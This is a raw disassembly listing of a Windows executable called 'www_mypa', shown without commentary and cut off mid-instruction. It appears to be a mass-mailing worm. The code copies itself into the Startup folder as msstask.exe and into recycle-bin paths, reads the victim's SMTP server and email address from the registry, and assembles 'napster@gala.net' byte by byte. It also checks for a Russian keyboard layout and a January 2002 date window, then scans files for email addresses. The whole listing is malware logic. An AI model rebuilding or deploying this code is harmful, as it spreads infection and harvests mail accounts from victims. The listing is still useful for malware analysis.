00401000 55 PUSH EBP 00401001 8BEC MOV EBP,ESP 00401003 81EC 04010000 SUB ESP,104 00401009 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C] 0040100C 53 PUSH EBX 0040100D 56 PUSH ESI 0040100E 57 PUSH EDI 0040100F 8B00 MOV EAX,DWORD PTR DS:[EAX] 00401011 A3 A0014100 MOV DWORD PTR DS:[4101A0],EAX 00401016 E8 FD030000 CALL www_mypa.00401418 0040101B E8 48040000 CALL www_mypa.00401468 00401020 E8 9F010000 CALL www_mypa.004011C4 00401025 E8 D2040000 CALL www_mypa.004014FC 0040102A 85C0 TEST EAX,EAX 0040102C 74 05 JE SHORT www_mypa.00401033 0040102E E8 F00C0000 CALL www_mypa.00401D23 00401033 68 A0C84000 PUSH www_mypa.0040C8A0 ; ASCII "access" 00401038 FF35 A0014100 PUSH DWORD PTR DS:[4101A0] 0040103E E8 DD110000 CALL www_mypa.00402220 00401043 59 POP ECX 00401044 85C0 TEST EAX,EAX 00401046 59 POP ECX 00401047 0F85 F2000000 JNZ www_mypa.0040113F 0040104D 68 98C84000 PUSH www_mypa.0040C898 ; ASCII "ACCESS" 00401052 FF35 A0014100 PUSH DWORD PTR DS:[4101A0] 00401058 E8 C3110000 CALL www_mypa.00402220 0040105D 59 POP ECX 0040105E 85C0 TEST EAX,EAX 00401060 59 POP ECX 00401061 0F85 D8000000 JNZ www_mypa.0040113F 00401067 68 94C84000 PUSH www_mypa.0040C894 ; ASCII "com" 0040106C FF35 A0014100 PUSH DWORD PTR DS:[4101A0] 00401072 E8 A9110000 CALL www_mypa.00402220 00401077 59 POP ECX 00401078 85C0 TEST EAX,EAX 0040107A 59 POP ECX 0040107B 0F85 A0000000 JNZ www_mypa.00401121 00401081 68 90C84000 PUSH www_mypa.0040C890 ; ASCII "COM" 00401086 FF35 A0014100 PUSH DWORD PTR DS:[4101A0] 0040108C E8 8F110000 CALL www_mypa.00402220 00401091 59 POP ECX 00401092 85C0 TEST EAX,EAX 00401094 59 POP ECX 00401095 0F85 86000000 JNZ www_mypa.00401121 0040109B 68 8CC84000 PUSH www_mypa.0040C88C ; ASCII "exe" 004010A0 FF35 A0014100 PUSH DWORD PTR DS:[4101A0] 004010A6 E8 75110000 CALL www_mypa.00402220 004010AB 59 POP ECX 004010AC 85C0 TEST EAX,EAX 004010AE 59 POP ECX 004010AF 75 1A JNZ SHORT www_mypa.004010CB 004010B1 68 88C84000 PUSH www_mypa.0040C888 ; ASCII "EXE" 004010B6 FF35 A0014100 PUSH DWORD PTR DS:[4101A0] 004010BC E8 5F110000 CALL www_mypa.00402220 004010C1 59 POP ECX 004010C2 85C0 TEST EAX,EAX 004010C4 59 POP ECX 004010C5 0F84 A0000000 JE www_mypa.0040116B 004010CB E8 B1020000 CALL www_mypa.00401381 004010D0 E8 7D0A0000 CALL www_mypa.00401B52 004010D5 E8 91010000 CALL www_mypa.0040126B 004010DA E8 1D040000 CALL www_mypa.004014FC 004010DF 85C0 TEST EAX,EAX 004010E1 0F84 84000000 JE www_mypa.0040116B 004010E7 68 7CC84000 PUSH www_mypa.0040C87C ; ASCII "USERPROFILE" 004010EC E8 9F100000 CALL www_mypa.00402190 004010F1 59 POP ECX 004010F2 50 PUSH EAX 004010F3 8D85 FCFEFFFF LEA EAX,DWORD PTR SS:[EBP-104] 004010F9 50 PUSH EAX 004010FA E8 A10F0000 CALL www_mypa.004020A0 004010FF 59 POP ECX 00401100 8D85 FCFEFFFF LEA EAX,DWORD PTR SS:[EBP-104] 00401106 59 POP ECX 00401107 68 50C84000 PUSH www_mypa.0040C850 ; ASCII "\Start Menu\Programs\Startup\msstask.exe" 0040110C 50 PUSH EAX 0040110D E8 9E0F0000 CALL www_mypa.004020B0 00401112 59 POP ECX 00401113 33F6 XOR ESI,ESI 00401115 59 POP ECX 00401116 8D85 FCFEFFFF LEA EAX,DWORD PTR SS:[EBP-104] 0040111C 56 PUSH ESI 0040111D 56 PUSH ESI 0040111E 56 PUSH ESI 0040111F EB 0F JMP SHORT www_mypa.00401130 00401121 E8 65000000 CALL www_mypa.0040118B 00401126 33F6 XOR ESI,ESI 00401128 56 PUSH ESI 00401129 56 PUSH ESI 0040112A 56 PUSH ESI 0040112B E8 47000000 CALL www_mypa.00401177 00401130 50 PUSH EAX 00401131 68 48C84000 PUSH www_mypa.0040C848 ; ASCII "open" 00401136 56 PUSH ESI 00401137 FF15 90224100 CALL DWORD PTR DS:[412290] ; SHELL32.ShellExecuteA 0040113D EB 2C JMP SHORT www_mypa.0040116B 0040113F E8 47000000 CALL www_mypa.0040118B 00401144 8B3D 90224100 MOV EDI,DWORD PTR DS:[412290] ; SHELL32.ShellExecuteA 0040114A 33F6 XOR ESI,ESI 0040114C 6A 01 PUSH 1 0040114E 56 PUSH ESI 0040114F 56 PUSH ESI 00401150 BB 48C84000 MOV EBX,www_mypa.0040C848 ; ASCII "open" 00401155 68 30C84000 PUSH www_mypa.0040C830 ; ASCII "http://www.disney.com" 0040115A 53 PUSH EBX 0040115B 56 PUSH ESI 0040115C FFD7 CALL EDI 0040115E 56 PUSH ESI 0040115F 56 PUSH ESI 00401160 56 PUSH ESI 00401161 E8 11000000 CALL www_mypa.00401177 00401166 50 PUSH EAX 00401167 53 PUSH EBX 00401168 56 PUSH ESI 00401169 FFD7 CALL EDI 0040116B E8 BA030000 CALL www_mypa.0040152A 00401170 5F POP EDI 00401171 5E POP ESI 00401172 33C0 XOR EAX,EAX 00401174 5B POP EBX 00401175 C9 LEAVE 00401176 C3 RETN 00401177 E8 80030000 CALL www_mypa.004014FC 0040117C 85C0 TEST EAX,EAX 0040117E B8 C0C84000 MOV EAX,www_mypa.0040C8C0 ; ASCII "c:\regctrl.exe" 00401183 75 05 JNZ SHORT www_mypa.0040118A 00401185 B8 A8C84000 MOV EAX,www_mypa.0040C8A8 ; ASCII "c:\recycled\regctrl.exe" 0040118A C3 RETN 0040118B 56 PUSH ESI 0040118C 68 D0C84000 PUSH www_mypa.0040C8D0 ; ASCII "wb" 00401191 E8 E1FFFFFF CALL www_mypa.00401177 00401196 50 PUSH EAX 00401197 E8 04130000 CALL www_mypa.004024A0 0040119C 8BF0 MOV ESI,EAX 0040119E 59 POP ECX 0040119F 85F6 TEST ESI,ESI 004011A1 59 POP ECX 004011A2 74 1E JE SHORT www_mypa.004011C2 004011A4 56 PUSH ESI 004011A5 FF35 70F54000 PUSH DWORD PTR DS:[40F570] 004011AB 6A 01 PUSH 1 004011AD FF35 C8F94000 PUSH DWORD PTR DS:[40F9C8] 004011B3 E8 68110000 CALL www_mypa.00402320 004011B8 83C4 10 ADD ESP,10 004011BB 56 PUSH ESI 004011BC E8 DF100000 CALL www_mypa.004022A0 004011C1 59 POP ECX 004011C2 5E POP ESI 004011C3 C3 RETN 004011C4 55 PUSH EBP 004011C5 8BEC MOV EBP,ESP 004011C7 51 PUSH ECX 004011C8 51 PUSH ECX 004011C9 56 PUSH ESI 004011CA 68 D4C84000 PUSH www_mypa.0040C8D4 ; ASCII "rb" 004011CF FF35 A0014100 PUSH DWORD PTR DS:[4101A0] 004011D5 E8 C6120000 CALL www_mypa.004024A0 004011DA 8BF0 MOV ESI,EAX 004011DC 59 POP ECX 004011DD 85F6 TEST ESI,ESI 004011DF 59 POP ECX 004011E0 0F84 82000000 JE www_mypa.00401268 004011E6 6A 02 PUSH 2 004011E8 6A 00 PUSH 0 004011EA 56 PUSH ESI 004011EB E8 F0140000 CALL www_mypa.004026E0 004011F0 83C4 0C ADD ESP,0C 004011F3 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] 004011F6 50 PUSH EAX 004011F7 56 PUSH ESI 004011F8 E8 B3140000 CALL www_mypa.004026B0 004011FD 59 POP ECX 004011FE 59 POP ECX 004011FF 6A 00 PUSH 0 00401201 6A 00 PUSH 0 00401203 56 PUSH ESI 00401204 E8 D7140000 CALL www_mypa.004026E0 00401209 83C4 0C ADD ESP,0C 0040120C FF75 F8 PUSH DWORD PTR SS:[EBP-8] 0040120F E8 EC130000 CALL www_mypa.00402600 00401214 85C0 TEST EAX,EAX 00401216 59 POP ECX 00401217 A3 C8F94000 MOV DWORD PTR DS:[40F9C8],EAX 0040121C 74 3E JE SHORT www_mypa.0040125C 0040121E 56 PUSH ESI 0040121F FF75 F8 PUSH DWORD PTR SS:[EBP-8] 00401222 6A 01 PUSH 1 00401224 50 PUSH EAX 00401225 E8 96120000 CALL www_mypa.004024C0 0040122A 8B4D F8 MOV ECX,DWORD PTR SS:[EBP-8] 0040122D 83C4 10 ADD ESP,10 00401230 33D2 XOR EDX,EDX 00401232 3BC1 CMP EAX,ECX 00401234 75 05 JNZ SHORT www_mypa.0040123B 00401236 3B55 FC CMP EDX,DWORD PTR SS:[EBP-4] 00401239 74 08 JE SHORT www_mypa.00401243 0040123B E8 EA020000 CALL www_mypa.0040152A 00401240 8B4D F8 MOV ECX,DWORD PTR SS:[EBP-8] 00401243 8D0409 LEA EAX,DWORD PTR DS:[ECX+ECX] 00401246 890D 70F54000 MOV DWORD PTR DS:[40F570],ECX 0040124C 50 PUSH EAX 0040124D E8 AE130000 CALL www_mypa.00402600 00401252 85C0 TEST EAX,EAX 00401254 59 POP ECX 00401255 A3 C4F94000 MOV DWORD PTR DS:[40F9C4],EAX 0040125A 75 05 JNZ SHORT www_mypa.00401261 0040125C E8 C9020000 CALL www_mypa.0040152A 00401261 56 PUSH ESI 00401262 E8 39100000 CALL www_mypa.004022A0 00401267 59 POP ECX 00401268 5E POP ESI 00401269 C9 LEAVE 0040126A C3 RETN 0040126B 55 PUSH EBP 0040126C 8BEC MOV EBP,ESP 0040126E 81EC 00030000 SUB ESP,300 00401274 53 PUSH EBX 00401275 56 PUSH ESI 00401276 FF35 A0014100 PUSH DWORD PTR DS:[4101A0] 0040127C 8D85 00FDFFFF LEA EAX,DWORD PTR SS:[EBP-300] 00401282 33DB XOR EBX,EBX 00401284 C685 00FFFFFF 6E MOV BYTE PTR SS:[EBP-100],6E 0040128B FF35 C4064100 PUSH DWORD PTR DS:[4106C4] 00401291 C685 01FFFFFF 61 MOV BYTE PTR SS:[EBP-FF],61 00401298 C685 02FFFFFF 70 MOV BYTE PTR SS:[EBP-FE],70 0040129F C685 03FFFFFF 73 MOV BYTE PTR SS:[EBP-FD],73 004012A6 68 D8C84000 PUSH www_mypa.0040C8D8 ; ASCII "%d %s" 004012AB 68 FF000000 PUSH 0FF 004012B0 50 PUSH EAX 004012B1 C685 04FFFFFF 74 MOV BYTE PTR SS:[EBP-FC],74 004012B8 C685 05FFFFFF 65 MOV BYTE PTR SS:[EBP-FB],65 004012BF C685 06FFFFFF 72 MOV BYTE PTR SS:[EBP-FA],72 004012C6 C685 07FFFFFF 40 MOV BYTE PTR SS:[EBP-F9],40 004012CD C685 08FFFFFF 67 MOV BYTE PTR SS:[EBP-F8],67 004012D4 C685 09FFFFFF 61 MOV BYTE PTR SS:[EBP-F7],61 004012DB C685 0AFFFFFF 6C MOV BYTE PTR SS:[EBP-F6],6C 004012E2 C685 0BFFFFFF 61 MOV BYTE PTR SS:[EBP-F5],61 004012E9 C685 0CFFFFFF 2E MOV BYTE PTR SS:[EBP-F4],2E 004012F0 C685 0DFFFFFF 6E MOV BYTE PTR SS:[EBP-F3],6E 004012F7 C685 0EFFFFFF 65 MOV BYTE PTR SS:[EBP-F2],65 004012FE C685 0FFFFFFF 74 MOV BYTE PTR SS:[EBP-F1],74 00401305 889D 10FFFFFF MOV BYTE PTR SS:[EBP-F0],BL 0040130B E8 00150000 CALL www_mypa.00402810 00401310 83C4 14 ADD ESP,14 00401313 BE C8064100 MOV ESI,www_mypa.004106C8 00401318 8D85 00FEFFFF LEA EAX,DWORD PTR SS:[EBP-200] 0040131E 56 PUSH ESI 0040131F 50 PUSH EAX 00401320 E8 7B0D0000 CALL www_mypa.004020A0 00401325 59 POP ECX 00401326 8D85 00FEFFFF LEA EAX,DWORD PTR SS:[EBP-200] 0040132C 59 POP ECX 0040132D 50 PUSH EAX 0040132E 8D85 00FDFFFF LEA EAX,DWORD PTR SS:[EBP-300] 00401334 50 PUSH EAX 00401335 8D85 00FFFFFF LEA EAX,DWORD PTR SS:[EBP-100] 0040133B 50 PUSH EAX 0040133C E8 510A0000 CALL www_mypa.00401D92 00401341 83C4 0C ADD ESP,0C 00401344 391D C4064100 CMP DWORD PTR DS:[4106C4],EBX 0040134A 76 31 JBE SHORT www_mypa.0040137D 0040134C 57 PUSH EDI 0040134D BF D0F94000 MOV EDI,www_mypa.0040F9D0 00401352 FF37 PUSH DWORD PTR DS:[EDI] 00401354 68 90054100 PUSH www_mypa.00410590 00401359 E8 22140000 CALL www_mypa.00402780 0040135E 59 POP ECX 0040135F 85C0 TEST EAX,EAX 00401361 59 POP ECX 00401362 74 0C JE SHORT www_mypa.00401370 00401364 56 PUSH ESI 00401365 56 PUSH ESI 00401366 FF37 PUSH DWORD PTR DS:[EDI] 00401368 E8 250A0000 CALL www_mypa.00401D92 0040136D 83C4 0C ADD ESP,0C 00401370 43 INC EBX 00401371 83C7 04 ADD EDI,4 00401374 3B1D C4064100 CMP EBX,DWORD PTR DS:[4106C4] 0040137A ^72 D6 JB SHORT www_mypa.00401352 0040137C 5F POP EDI 0040137D 5E POP ESI 0040137E 5B POP EBX 0040137F C9 LEAVE 00401380 C3 RETN 00401381 55 PUSH EBP 00401382 8BEC MOV EBP,ESP 00401384 83EC 0C SUB ESP,0C 00401387 56 PUSH ESI 00401388 57 PUSH EDI 00401389 6A 64 PUSH 64 0040138B 8025 90054100 00 AND BYTE PTR DS:[410590],0 00401392 5F POP EDI 00401393 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4] 00401396 50 PUSH EAX 00401397 68 19000200 PUSH 20019 0040139C 6A 00 PUSH 0 0040139E 68 00C94000 PUSH www_mypa.0040C900 ; ASCII "Software\Microsoft\Internet Account Manager\Accounts\00000001" 004013A3 68 01000080 PUSH 80000001 004013A8 897D F8 MOV DWORD PTR SS:[EBP-8],EDI 004013AB C745 F4 01000000 MOV DWORD PTR SS:[EBP-C],1 004013B2 FF15 94214100 CALL DWORD PTR DS:[412194] ; ADVAPI32.RegOpenKeyExA 004013B8 85C0 TEST EAX,EAX 004013BA 75 53 JNZ SHORT www_mypa.0040140F 004013BC 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] 004013BF 8B35 98214100 MOV ESI,DWORD PTR DS:[412198] ; ADVAPI32.RegQueryValueExA 004013C5 50 PUSH EAX 004013C6 8D45 F4 LEA EAX,DWORD PTR SS:[EBP-C] 004013C9 68 F8054100 PUSH www_mypa.004105F8 004013CE 50 PUSH EAX 004013CF 6A 00 PUSH 0 004013D1 68 F4C84000 PUSH www_mypa.0040C8F4 ; ASCII "SMTP Server" 004013D6 FF75 FC PUSH DWORD PTR SS:[EBP-4] 004013D9 FFD6 CALL ESI 004013DB 85C0 TEST EAX,EAX 004013DD 75 27 JNZ SHORT www_mypa.00401406 004013DF 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] 004013E2 897D F8 MOV DWORD PTR SS:[EBP-8],EDI 004013E5 50 PUSH EAX 004013E6 8D45 F4 LEA EAX,DWORD PTR SS:[EBP-C] 004013E9 68 90054100 PUSH www_mypa.00410590 004013EE 50 PUSH EAX 004013EF 6A 00 PUSH 0 004013F1 68 E0C84000 PUSH www_mypa.0040C8E0 ; ASCII "SMTP Email Address" 004013F6 FF75 FC PUSH DWORD PTR SS:[EBP-4] 004013F9 FFD6 CALL ESI 004013FB FF75 FC PUSH DWORD PTR SS:[EBP-4] 004013FE FF15 9C214100 CALL DWORD PTR DS:[41219C] ; ADVAPI32.RegCloseKey 00401404 EB 0E JMP SHORT www_mypa.00401414 00401406 FF75 FC PUSH DWORD PTR SS:[EBP-4] 00401409 FF15 9C214100 CALL DWORD PTR DS:[41219C] ; ADVAPI32.RegCloseKey 0040140F E8 16010000 CALL www_mypa.0040152A 00401414 5F POP EDI 00401415 5E POP ESI 00401416 C9 LEAVE 00401417 C3 RETN 00401418 55 PUSH EBP 00401419 8BEC MOV EBP,ESP 0040141B 51 PUSH ECX 0040141C 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4] 0040141F 56 PUSH ESI 00401420 50 PUSH EAX 00401421 E8 4A160000 CALL www_mypa.00402A70 00401426 59 POP ECX 00401427 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4] 0040142A 50 PUSH EAX 0040142B E8 50140000 CALL www_mypa.00402880 00401430 8140 14 6C070000 ADD DWORD PTR DS:[EAX+14],76C 00401437 8B50 14 MOV EDX,DWORD PTR DS:[EAX+14] 0040143A FF40 10 INC DWORD PTR DS:[EAX+10] 0040143D 8B70 10 MOV ESI,DWORD PTR DS:[EAX+10] 00401440 59 POP ECX 00401441 B9 D2070000 MOV ECX,7D2 00401446 3BD1 CMP EDX,ECX 00401448 7C 16 JL SHORT www_mypa.00401460 0040144A 7F 14 JG SHORT www_mypa.00401460 0040144C 83FE 01 CMP ESI,1 0040144F 7C 0F JL SHORT www_mypa.00401460 00401451 7F 0D JG SHORT www_mypa.00401460 00401453 8B40 0C MOV EAX,DWORD PTR DS:[EAX+C] 00401456 83F8 19 CMP EAX,19 00401459 7C 05 JL SHORT www_mypa.00401460 0040145B 83F8 1D CMP EAX,1D 0040145E 7E 05 JLE SHORT www_mypa.00401465 00401460 E8 C5000000 CALL www_mypa.0040152A 00401465 5E POP ESI 00401466 C9 LEAVE 00401467 C3 RETN 00401468 55 PUSH EBP 00401469 8BEC MOV EBP,ESP 0040146B 83EC 74 SUB ESP,74 0040146E 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] 00401471 C745 F4 64000000 MOV DWORD PTR SS:[EBP-C],64 00401478 50 PUSH EAX 00401479 68 19000200 PUSH 20019 0040147E 6A 00 PUSH 0 00401480 68 48C94000 PUSH www_mypa.0040C948 ; ASCII "Keyboard Layout\Preload" 00401485 68 01000080 PUSH 80000001 0040148A C745 F0 01000000 MOV DWORD PTR SS:[EBP-10],1 00401491 FF15 94214100 CALL DWORD PTR DS:[412194] ; ADVAPI32.RegOpenKeyExA 00401497 85C0 TEST EAX,EAX 00401499 75 5F JNZ SHORT www_mypa.004014FA 0040149B 56 PUSH ESI 0040149C 8B35 9C214100 MOV ESI,DWORD PTR DS:[41219C] ; ADVAPI32.RegCloseKey 004014A2 53 PUSH EBX 004014A3 33DB XOR EBX,EBX 004014A5 8AC3 MOV AL,BL 004014A7 8065 FF 00 AND BYTE PTR SS:[EBP-1],0 004014AB 04 31 ADD AL,31 004014AD 8845 FE MOV BYTE PTR SS:[EBP-2],AL 004014B0 8D45 F4 LEA EAX,DWORD PTR SS:[EBP-C] 004014B3 50 PUSH EAX 004014B4 8D45 8C LEA EAX,DWORD PTR SS:[EBP-74] 004014B7 50 PUSH EAX 004014B8 8D45 F0 LEA EAX,DWORD PTR SS:[EBP-10] 004014BB 50 PUSH EAX 004014BC 8D45 FE LEA EAX,DWORD PTR SS:[EBP-2] 004014BF 6A 00 PUSH 0 004014C1 50 PUSH EAX 004014C2 FF75 F8 PUSH DWORD PTR SS:[EBP-8] 004014C5 FF15 98214100 CALL DWORD PTR DS:[412198] ; ADVAPI32.RegQueryValueExA 004014CB 85C0 TEST EAX,EAX 004014CD 75 1E JNZ SHORT www_mypa.004014ED 004014CF 8D45 8C LEA EAX,DWORD PTR SS:[EBP-74] 004014D2 68 40C94000 PUSH www_mypa.0040C940 ; ASCII "0419" 004014D7 50 PUSH EAX 004014D8 E8 430D0000 CALL www_mypa.00402220 004014DD 59 POP ECX 004014DE 85C0 TEST EAX,EAX 004014E0 59 POP ECX 004014E1 74 0A JE SHORT www_mypa.004014ED 004014E3 FF75 F8 PUSH DWORD PTR SS:[EBP-8] 004014E6 FFD6 CALL ESI 004014E8 E8 3D000000 CALL www_mypa.0040152A 004014ED 43 INC EBX 004014EE 83FB 03 CMP EBX,3 004014F1 ^7C B2 JL SHORT www_mypa.004014A5 004014F3 FF75 F8 PUSH DWORD PTR SS:[EBP-8] 004014F6 FFD6 CALL ESI 004014F8 5B POP EBX 004014F9 5E POP ESI 004014FA C9 LEAVE 004014FB C3 RETN 004014FC 55 PUSH EBP 004014FD 8BEC MOV EBP,ESP 004014FF 81EC 94000000 SUB ESP,94 00401505 8D85 6CFFFFFF LEA EAX,DWORD PTR SS:[EBP-94] 0040150B C785 6CFFFFFF 94>MOV DWORD PTR SS:[EBP-94],94 00401515 50 PUSH EAX 00401516 FF15 C0214100 CALL DWORD PTR DS:[4121C0] ; kernel32.GetVersionExA 0040151C 33C0 XOR EAX,EAX 0040151E 83BD 7CFFFFFF 02 CMP DWORD PTR SS:[EBP-84],2 00401525 0F94C0 SETE AL 00401528 C9 LEAVE 00401529 C3 RETN 0040152A 55 PUSH EBP 0040152B 8BEC MOV EBP,ESP 0040152D 83EC 64 SUB ESP,64 00401530 6A 00 PUSH 0 00401532 E8 39150000 CALL www_mypa.00402A70 00401537 59 POP ECX 00401538 50 PUSH EAX 00401539 E8 52180000 CALL www_mypa.00402D90 0040153E 59 POP ECX 0040153F E8 5C180000 CALL www_mypa.00402DA0 00401544 50 PUSH EAX 00401545 E8 56180000 CALL www_mypa.00402DA0 0040154A 50 PUSH EAX 0040154B E8 50180000 CALL www_mypa.00402DA0 00401550 50 PUSH EAX 00401551 8D45 9C LEA EAX,DWORD PTR SS:[EBP-64] 00401554 68 78C94000 PUSH www_mypa.0040C978 ; ASCII "C:\RECYCLER\F-%d-%d-%d" 00401559 50 PUSH EAX 0040155A E8 C1170000 CALL www_mypa.00402D20 0040155F 83C4 14 ADD ESP,14 00401562 8D45 9C LEA EAX,DWORD PTR SS:[EBP-64] 00401565 50 PUSH EAX 00401566 FF35 A0014100 PUSH DWORD PTR DS:[4101A0] 0040156C E8 6F170000 CALL www_mypa.00402CE0 00401571 59 POP ECX 00401572 59 POP ECX 00401573 E8 28180000 CALL www_mypa.00402DA0 00401578 50 PUSH EAX 00401579 E8 22180000 CALL www_mypa.00402DA0 0040157E 50 PUSH EAX 0040157F E8 1C180000 CALL www_mypa.00402DA0 00401584 50 PUSH EAX 00401585 8D45 9C LEA EAX,DWORD PTR SS:[EBP-64] 00401588 68 60C94000 PUSH www_mypa.0040C960 ; ASCII "C:\RECYCLED\F-%d-%d-%d" 0040158D 50 PUSH EAX 0040158E E8 8D170000 CALL www_mypa.00402D20 00401593 83C4 14 ADD ESP,14 00401596 8D45 9C LEA EAX,DWORD PTR SS:[EBP-64] 00401599 50 PUSH EAX 0040159A FF35 A0014100 PUSH DWORD PTR DS:[4101A0] 004015A0 E8 3B170000 CALL www_mypa.00402CE0 004015A5 59 POP ECX 004015A6 59 POP ECX 004015A7 6A 00 PUSH 0 004015A9 E8 22160000 CALL www_mypa.00402BD0 004015AE 59 POP ECX 004015AF C9 LEAVE 004015B0 C3 RETN 004015B1 55 PUSH EBP 004015B2 8BEC MOV EBP,ESP 004015B4 81EC F0000000 SUB ESP,0F0 004015BA 56 PUSH ESI 004015BB 57 PUSH EDI 004015BC 68 D4C84000 PUSH www_mypa.0040C8D4 ; ASCII "rb" 004015C1 FF75 08 PUSH DWORD PTR SS:[EBP+8] 004015C4 E8 D70E0000 CALL www_mypa.004024A0 004015C9 8BF0 MOV ESI,EAX 004015CB 33FF XOR EDI,EDI 004015CD 59 POP ECX 004015CE 3BF7 CMP ESI,EDI 004015D0 59 POP ECX 004015D1 8975 E0 MOV DWORD PTR SS:[EBP-20],ESI 004015D4 0F84 74050000 JE www_mypa.00401B4E 004015DA 53 PUSH EBX 004015DB 6A 02 PUSH 2 004015DD 57 PUSH EDI 004015DE 56 PUSH ESI 004015DF E8 FC100000 CALL www_mypa.004026E0 004015E4 83C4 0C ADD ESP,0C 004015E7 8D45 D8 LEA EAX,DWORD PTR SS:[EBP-28] 004015EA 50 PUSH EAX 004015EB 56 PUSH ESI 004015EC E8 BF100000 CALL www_mypa.004026B0 004015F1 59 POP ECX 004015F2 59 POP ECX 004015F3 57 PUSH EDI 004015F4 57 PUSH EDI 004015F5 56 PUSH ESI 004015F6 E8 E5100000 CALL www_mypa.004026E0 004015FB 83C4 0C ADD ESP,0C 004015FE FF75 D8 PUSH DWORD PTR SS:[EBP-28] 00401601 E8 FA0F0000 CALL www_mypa.00402600 00401606 3BC7 CMP EAX,EDI 00401608 59 POP ECX 00401609 8945 FC MOV DWORD PTR SS:[EBP-4],EAX 0040160C 0F84 32050000 JE www_mypa.00401B44 00401612 56 PUSH ESI 00401613 FF75 D8 PUSH DWORD PTR SS:[EBP-28] 00401616 6A 01 PUSH 1 00401618 50 PUSH EAX 00401619 E8 A20E0000 CALL www_mypa.004024C0 0040161E 83C4 10 ADD ESP,10 00401621 3D E8030000 CMP EAX,3E8 00401626 0F86 18050000 JBE www_mypa.00401B44 0040162C B9 C8000000 MOV ECX,0C8 00401631 05 38FFFFFF ADD EAX,-0C8 00401636 3BC1 CMP EAX,ECX 00401638 894D F8 MOV DWORD PTR SS:[EBP-8],ECX 0040163B 8945 E8 MOV DWORD PTR SS:[EBP-18],EAX 0040163E 0F86 76030000 JBE www_mypa.004019BA 00401644 6A 64 PUSH 64 00401646 58 POP EAX 00401647 2B45 FC SUB EAX,DWORD PTR SS:[EBP-4] 0040164A 8945 F0 MOV DWORD PTR SS:[EBP-10],EAX 0040164D 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 00401650 8B4D F8 MOV ECX,DWORD PTR SS:[EBP-8] 00401653 8D3C08 LEA EDI,DWORD PTR DS:[EAX+ECX] 00401656 8A4408 FF MOV AL,BYTE PTR DS:[EAX+ECX-1] 0040165A 3C 61 CMP AL,61 0040165C 72 04 JB SHORT www_mypa.00401662 0040165E 3C 7A CMP AL,7A 00401660 76 10 JBE SHORT www_mypa.00401672 00401662 3C 41 CMP AL,41 00401664 0F82 41030000 JB www_mypa.004019AB 0040166A 3C 5A CMP AL,5A 0040166C 0F87 39030000 JA www_mypa.004019AB 00401672 803F 40 CMP BYTE PTR DS:[EDI],40 00401675 0F85 30030000 JNZ www_mypa.004019AB 0040167B 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 0040167E 8B4D F8 MOV ECX,DWORD PTR SS:[EBP-8] 00401681 8A4408 01 MOV AL,BYTE PTR DS:[EAX+ECX+1] 00401685 3C 61 CMP AL,61 00401687 72 04 JB SHORT www_mypa.0040168D 00401689 3C 7A CMP AL,7A 0040168B 76 10 JBE SHORT www_mypa.0040169D 0040168D 3C 41 CMP AL,41 0040168F 0F82 16030000 JB www_mypa.004019AB 00401695 3C 5A CMP AL,5A 00401697 0F87 0E030000 JA www_mypa.004019AB 0040169D 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8] 004016A0 33C9 XOR ECX,ECX 004016A2 33DB XOR EBX,EBX 004016A4 8D70 9C LEA ESI,DWORD PTR DS:[EAX-64] 004016A7 3BC6 CMP EAX,ESI 004016A9 76 1A JBE SHORT www_mypa.004016C5 004016AB 8B55 FC MOV EDX,DWORD PTR SS:[EBP-4] 004016AE 8A1410 MOV DL,BYTE PTR DS:[EAX+EDX] 004016B1 84D2 TEST DL,DL 004016B3 74 0D JE SHORT www_mypa.004016C2 004016B5 80FA 3C CMP DL,3C 004016B8 74 08 JE SHORT www_mypa.004016C2 004016BA 80FA 20 CMP DL,20 004016BD 76 03 JBE SHORT www_mypa.004016C2 004016BF 48 DEC EAX 004016C0 ^EB E5 JMP SHORT www_mypa.004016A7 004016C2 8D48 01 LEA ECX,DWORD PTR DS:[EAX+1] 004016C5 8B55 F0 MOV EDX,DWORD PTR SS:[EBP-10] 004016C8 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8] 004016CB 8D343A LEA ESI,DWORD PTR DS:[EDX+EDI] 004016CE 3BC6 CMP EAX,ESI 004016D0 73 1A JNB SHORT www_mypa.004016EC 004016D2 8B55 FC MOV EDX,DWORD PTR SS:[EBP-4] 004016D5 8A1410 MOV DL,BYTE PTR DS:[EAX+EDX] 004016D8 84D2 TEST DL,DL 004016DA 74 0D JE SHORT www_mypa.004016E9 004016DC 80FA 3E CMP DL,3E 004016DF 74 08 JE SHORT www_mypa.004016E9 004016E1 80FA 20 CMP DL,20 004016E4 76 03 JBE SHORT www_mypa.004016E9 004016E6 40 INC EAX 004016E7 ^EB E5 JMP SHORT www_mypa.004016CE 004016E9 8D58 FF LEA EBX,DWORD PTR DS:[EAX-1] 004016EC 85C9 TEST ECX,ECX 004016EE 0F84 B7020000 JE www_mypa.004019AB 004016F4 85DB TEST EBX,EBX 004016F6 0F84 AF020000 JE www_mypa.004019AB 004016FC 33D2 XOR EDX,EDX 004016FE 3BCB CMP ECX,EBX 00401700 8955 F4 MOV DWORD PTR SS:[EBP-C],EDX 00401703 8955 EC MOV DWORD PTR SS:[EBP-14],EDX 00401706 8955 08 MOV DWORD PTR SS:[EBP+8],EDX 00401709 77 1A JA SHORT www_mypa.00401725 0040170B 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 0040170E 8A0401 MOV AL,BYTE PTR DS:[ECX+EAX] 00401711 84C0 TEST AL,AL 00401713 74 08 JE SHORT www_mypa.0040171D 00401715 888415 10FFFFFF MOV BYTE PTR SS:[EBP+EDX-F0],AL 0040171C 42 INC EDX 0040171D 41 INC ECX 0040171E 3BCB CMP ECX,EBX 00401720 ^76 E9 JBE SHORT www_mypa.0040170B 00401722 8955 F4 MOV DWORD PTR SS:[EBP-C],EDX 00401725 80A415 10FFFFFF >AND BYTE PTR SS:[EBP+EDX-F0],0 0040172D 80BD 10FFFFFF 30 CMP BYTE PTR SS:[EBP-F0],30 00401734 7C 0D JL SHORT www_mypa.00401743 00401736 80BD 10FFFFFF 39 CMP 